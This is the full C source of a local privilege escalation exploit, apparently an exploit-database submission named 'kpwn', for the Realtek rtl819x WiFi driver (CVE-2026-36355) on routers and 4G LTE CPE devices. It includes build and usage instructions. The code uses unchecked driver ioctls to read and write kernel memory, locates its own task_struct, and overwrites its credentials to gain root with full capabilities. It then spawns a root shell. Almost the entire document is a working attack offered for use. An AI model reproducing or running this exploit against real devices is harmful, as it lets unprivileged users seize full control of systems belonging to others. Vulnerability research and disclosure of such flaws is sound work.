* Exploit Title: Realtek rtl819x - Local Privilege Escalation
* Date: 2026-05-03
* Exploit Author: Daniil Gordeev
* Vendor Homepage: http://www.realtek.com
* Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)
* Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B
* Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)
* CVE: CVE-2026-36355
*
* kpwn - RTL8192CD kernel LPE exploit
*
* Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)
* in the Realtek rtl819x out-of-tree WiFi driver SDK.
*
* Runs as ANY unprivileged user — no root needed at any stage.
* Auto-detects task_struct offsets from init_task.
*
* Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK
* Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc.
*
* Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c
* Usage: /tmp/kpwn (any user, GID 3003/inet on paranoid kernels)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#define IOCTL_WRITE 0x89F5 /* SIOCDEVPRIVATE+5: write_mem */
#define IOCTL_READ 0x89F6 /* SIOCDEVPRIVATE+6: read_mem */
/* kernel .data scan range for init_task (ARM, no KASLR) */
#define DATA_SCAN_START 0xC0800000
#define DATA_SCAN_END 0xC1000000
static int sockfd = -1;
static int nioctls = 0;
static char ifname[IFNAMSIZ];
/* ---- kernel R/W primitives ---- */
static int kread(unsigned long addr, void *out, int ndw)
{
struct iwreq wrq;
char buf[256];
if (ndw > 32) ndw = 32;
snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw);
memset(&wrq, 0, sizeof(wrq));
strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
wrq.u.data.pointer = buf;
wrq.u.data.length = strlen(buf) + 1;
if (ioctl(sockfd, IOCTL_READ, &wrq) < 0)
return -1;
nioctls++;
int n = wrq.u.data.length;
if (n > 0 && out)
memcpy(out, buf, n > 128 ? 128 : n);
return n;
}
static unsigned int kread32(unsigned long addr)
{
unsigned int v = 0;
kread(addr, &v, 1);
return v;
}
static int kfill(unsigned long addr, int ndw, unsigned int val)
{
struct iwreq wrq;
char buf[256];
snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val);
memset(&wrq, 0, sizeof(wrq));
strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
wrq.u.data.pointer = buf;
wrq.u.data.length = strlen(buf) + 1;
if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0)
return -1;
nioctls++;
return 0;
}
/* ---- find vulnerable interface ---- */
static int find_interface(void)
{
DIR *d = opendir("/sys/class/net");
if (!d) return -1;
struct dirent *e;
unsigned int probe;
while ((e = readdir(d))) {
if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0)
continue;
strncpy(ifname, e->d_name, IFNAMSIZ - 1);
probe = 0;
if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) {
closedir(d);
return 0;
}
}
closedir(d);
return -1;
}
/* ---- resolve init_task ---- */
static unsigned long scan_for_init_task(void)
{
/*
* Brute-force: scan kernel .data for init_task.comm = "swapper".
* Validate by checking cred pointer (must dereference to uid=0, gid=0).
*
* The returned base doesn't need to be exact — detect_offsets finds
* all field positions relative to the base, and the math in find_task
* and the overwrite phase uses (base + offset) pairs where any constant
* shift cancels out. We just need "swapper" to land within the
* detect_offsets search window (0x200-0x5F0 from returned base).
*/
unsigned char buf[128];
unsigned long addr;
printf("[*] Scanning .data for init_task...\n");
for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) {
if (kread(addr, buf, 32) <= 0)
continue;
int j;
for (j = 0; j <= 128 - 7; j += 4) {
if (memcmp(buf + j, "swapper", 7) != 0)
continue;
unsigned long comm_addr = addr + j;
/* validate: cred pointer just before comm → {usage, uid=0, gid=0} */
unsigned int cred_ptr;
if (kread(comm_addr - 4, &cred_ptr, 1) <= 0)
continue;
if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF)
continue;
unsigned int chk[3];
if (kread(cred_ptr, chk, 3) <= 0)
continue;
if (chk[0] < 1 || chk[0] >= 10000) /* usage refcount */
continue;
if (chk[1] != 0 || chk[2] != 0) /* uid=0, gid=0 */
continue;
/*
* Return comm_addr - 0x400 as base. This places comm at
* offset 0x400 in the detect_offsets window (well within
* the 0x200-0x5F0 search range). The base doesn't need
* to be the true struct start — all offset math cancels.
*/
unsigned long base = comm_addr - 0x400;
printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base);
return base;
}
}
return 0;
}
static unsigned long resolve_init_task(void)
{
return scan_for_init_task();
}
/* ---- auto-detect task_struct layout ---- */
struct offsets { unsigned long tasks, pid, cred, comm; };
static int detect_offsets(unsigned long init, struct offsets *o)
{
unsigned char data[0x600];
int i;
/* bulk-read init_task (12 reads, 128 bytes each) */
for (i = 0; i < 0x600; i += 128)
if (kread(init + i, data + i, 32) <= 0) {
printf("[-] Read init_task+0x%x failed\n", i);
return -1;
}
/* comm: find "swapper" string — unique, most reliable anchor */
o->comm = 0;
for (i = 0x200; i < 0x5F0; i += 4)
if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; }
if (!o->comm) {
printf("[-] 'swapper' not found in init_task\n");
return -1;
}
/* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */
o->cred = 0;
for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) {
unsigned int val = *(unsigned int *)(data + i);
if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) {
unsigned int chk[3];
if (kread(val, chk, 3) > 0 &&
chk[0] >= 1 && chk[0] < 10000 &&
chk[1] == 0 && chk[2] == 0) {
o->cred = i;
break;
}
}
}
if (!o->cred) {
printf("[-] Cred pointer not found near comm\n");
return -1;
}
/* tasks: non-self-referencing list_head with valid chain and printable comm at next */
o->tasks = 0;
for (i = 0x100; i < 0x300; i += 4) {
unsigned int next = *(unsigned int *)(data + i);
unsigned int prev = *(unsigned int *)(data + i + 4);
if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue;
if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue;
if (next == (unsigned int)(init + i)) continue;
unsigned int nn = kread32(next);
if ((nn & 0xC0000000) != 0xC0000000) continue;
unsigned long next_base = (unsigned long)next - i;
char tc[8] = {0};
if (kread(next_base + o->comm, tc, 2) > 0 &&
tc[0] >= 0x20 && tc[0] < 0x7F) {
o->tasks = i;
break;
}
}
if (!o->tasks) {
printf("[-] Tasks list_head not found\n");
return -1;
}
/* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */
o->pid = 0;
unsigned int tasks_next = *(unsigned int *)(data + o->tasks);
unsigned long first_base = (unsigned long)tasks_next - o->tasks;
unsigned int second_ptr = kread32(tasks_next);
unsigned long second_base = (unsigned long)second_ptr - o->tasks;
for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) {
if (*(unsigned int *)(data + i) != 0) continue;
if (*(unsigned int *)(data + i + 4) != 0) continue; /* pid=0 AND tgid=0 */
unsigned int p1 = kread32(first_base + i);
if (p1 == 0 || p1 >= 32768) continue;
unsigned int p2 = kread32(second_base + i);
if (p2 == 0 || p2 >= 32768) continue;
if (p1 == p2) continue;
o->pid = i;
break;
}
if (!o->pid) {
printf("[-] PID offset not found\n");
return -1;
}
return 0;
}
/* ---- walk task list backward (newest first, 1 ioctl per task) ---- */
static unsigned long find_task(unsigned long init, struct offsets *o,
pid_t pid, int *walked)
{
unsigned long head = init + o->tasks;
unsigned int buf[32];
unsigned long cur;
int batch = 0;
int span = 0;
*walked = 0;
/* if pid and tasks fit in one 32-dword read, batch them */
if (o->pid > o->tasks) {
span = (o->pid - o->tasks) / 4 + 1;
if (span <= 32) batch = 1;
}
/* walk backward: tasks.prev (offset +4) points to newest task */
cur = kread32(head + 4);
for (int i = 0; i < 512; i++) {
if (cur == head || cur == 0)
break;
unsigned long base = cur - o->tasks;
unsigned int p;
unsigned long prev;
if (batch) {
/* single read gets tasks.next, tasks.prev, and pid */
if (kread(cur, buf, span) <= 0) break;
prev = buf[1]; /* tasks.prev = next older task */
p = buf[(o->pid - o->tasks) / 4];
} else {
/* fallback: two individual reads */
p = kread32(base + o->pid);
prev = kread32(cur + 4);
}
(*walked)++;
if (p == (unsigned int)pid)
return base;
cur = prev;
}
return 0;
}
/* ---- main ---- */
int main(void)
{
uid_t orig_uid = getuid();
gid_t orig_gid = getgid();
pid_t pid = getpid();
printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n");
printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid);
/* socket */
printf("[*] Creating socket...\n");
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
printf("[-] socket: %s\n", strerror(errno));
if (errno == EACCES)
printf("[-] Need GID 3003 (inet) on paranoid kernels\n");
return 1;
}
/* find vulnerable interface */
printf("[*] Scanning interfaces...\n");
if (find_interface() < 0) {
printf("[-] No rtl819x interface found\n");
return 1;
}
printf("[+] %s — read primitive confirmed\n", ifname);
/* resolve init_task */
printf("[*] Resolving init_task...\n");
unsigned long init = resolve_init_task();
if (!init) {
printf("[-] init_task not found\n");
return 1;
}
printf("[+] init_task @ 0x%08lx\n", init);
/* auto-detect offsets */
printf("[*] Detecting task_struct layout...\n");
struct offsets o;
if (detect_offsets(init, &o) < 0)
return 1;
printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n",
o.comm, o.cred, o.tasks, o.pid);
/* find our task_struct */
printf("[*] Searching for pid %d...\n", pid);
int walked = 0;
unsigned long task = find_task(init, &o, pid, &walked);
if (!task) {
printf("[-] pid %d not found (%d tasks walked)\n", pid, walked);
return 1;
}
/* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */
unsigned int info[5];
char *comm;
unsigned long cred;
unsigned int k_uid, k_gid;
kread(task + o.cred, info, 5); /* cred ptr + 16 bytes of comm */
cred = info[0];
comm = (char *)&info[1];
unsigned int uids[2];
kread(cred + 0x04, uids, 2); /* uid + gid */
k_uid = uids[0];
k_gid = uids[1];
printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n", task, comm, walked);
printf("[+] cred=0x%08lx uid=%u gid=%u\n", cred, k_uid, k_gid);
if (k_uid != orig_uid) {
printf("[-] uid mismatch: kernel=%u userspace=%u\n", k_uid, orig_uid);
return 1;
}
/* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */
printf("[*] Overwriting credentials...\n");
kfill(cred + 0x04, 9, 0); /* uid..fsgid + securebits = 0 */
kfill(cred + 0x28, 8, 0xFFFFFFFF); /* cap_{inheritable,permitted,effective,bset} = full */
if (getuid() != 0) {
printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n", getuid());
return 1;
}
printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n",
getuid(), geteuid(), getgid(), getegid());
printf("*** GOT ROOT *** uid=%u -> %d (%d ioctls)\n\n", orig_uid, getuid(), nioctls);
execl("/bin/sh", "sh", NULL);
printf("[-] execl: %s\n", strerror(errno));
return 1;
}